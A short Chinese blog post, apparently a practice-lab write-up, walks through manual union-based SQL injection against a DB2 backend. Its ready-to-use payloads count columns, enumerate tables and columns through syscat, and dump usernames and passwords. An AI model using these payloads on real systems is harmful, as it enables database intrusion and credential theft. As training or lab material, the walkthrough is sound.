DB2手工注入

1.确认字段数

使用语句:

?id=1 order by 4   //显示正常

?id=1 order by 5   //显示错误

所以有4个字段

2.使用联合查询确认回显位

使用语句:

?id=-1 union select 1,2,3,4 from syscat.tables

得到2,3是回显位

3.查询数据库名

使用语句:

?id=-1 union select 1,current schema,current server,4 from syscat.tables

得到数据库名为DB2INST1

4.查询表名

使用语句:

?id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1  //得到第一个表名为GAME_CHARACTER

?id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1  //得到第二个表名为NOTICE

5.查询字段

使用语句:

字段一:?id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1

字段二:?id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1

字段三:?id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1

字段四:?id=-1 union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 3,1

6.查询字段值

使用语句:

第一个:?id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1

第一个:?id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1

对两个用户的密码分别解密得到如下

chx;1qaz2wsx

mozhe;985123

 

 7.登录mozhe的用户得到key

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值